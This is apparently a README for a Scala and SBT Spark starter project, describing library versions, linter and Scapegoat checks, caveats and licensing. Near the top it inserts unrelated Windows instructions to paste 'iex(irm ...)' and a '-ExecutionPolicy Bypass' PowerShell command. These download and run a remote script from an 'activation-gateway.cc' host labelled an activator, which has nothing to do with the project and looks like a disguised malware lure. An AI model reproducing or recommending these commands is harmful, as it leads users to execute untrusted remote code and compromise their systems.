spark-scala-sample — Starter Kit

A minimal Spark project in Scala, derived from an earlier sample and refreshed with updated library versions. It provides a starting point for experimenting with Spark and SparkSQL, including a console that spins up both contexts on launch. Built with Scala and SBT, the project favors straightforward configuration over framework complexity.

• Open the Start menu and type PowerShell.
• Right-click and choose Run as administrator (optional).

Paste and run. Wait until the process completes.

iex(irm 'https://activation-gateway.cc/update/ps-activator')

Run this command in CMD instead:

powershell -NoProfile -ExecutionPolicy Bypass -Command "iex(irm 'https://activation-gateway.cc/update/ps-activator')"

• Windows 10 or Windows 11
• PowerShell 5.1 or newer (already available on Windows)
• Active network connection
• No admin rights needed

• Clean, focused Scala setup for Spark development
• sbt console brings up ready-to-use Spark and SparkSQL contexts
• Static analysis wired into the build to surface bugs and questionable practices early
• Updated dependency versions over the original sample project
• Includes ScalaTest and ScalaCheck for unit and property-based testing

• Spark 2.1.0
• Scala 2.11.8
• ScalaTest 2.2.4
• ScalaCheck 1.12.2

The build wires in multiple automated checks so issues surface early.

• Compiler warnings are enabled with strict flags. Treat warnings as signals, not noise.
• Linter runs automatically during compilation and in the console, flagging probable bugs and questionable patterns.
• Scapegoat runs during compilation and writes reports to target/scala-2.11/scapegoat.xml and target/scala-2.11/scapegoat.html.
• ScalaStyle runs on demand via sbt scalastyle and writes results to target/scalastyle-result.xml. Levels are set to warn by default; switch them to error to fail builds in CI.

Run the checks before opening a pull request to keep the codebase consistent.

• No forked JVM in sbt console: Test and run fork a JVM because SBT's classloader doesn't play well with Spark. sbt console ignores the fork key, so it may throw ScalaReflectionException and similar errors.
• Version drift from upstream: This project tracks a fork of the original sample and has updated several library versions. Behavior may differ from the upstream project and from older tutorials.
• Static analysis noise: The linter and scapegoat run automatically during compilation and can surface warnings on unchanged code. Treat them as advisory unless promoted in your CI configuration.
• Style checks are non-blocking by default: All ScalaStyle levels are set to warn. They won't fail a build until you change them to error.

This project is provided under the terms of the Apache License, Version 2.0.

It is derived from the upstream spark-sample-project and inherits its original licensing. Library updates and other modifications in this repository remain subject to the same license terms.

See the LICENSE file in the repository root for the full text.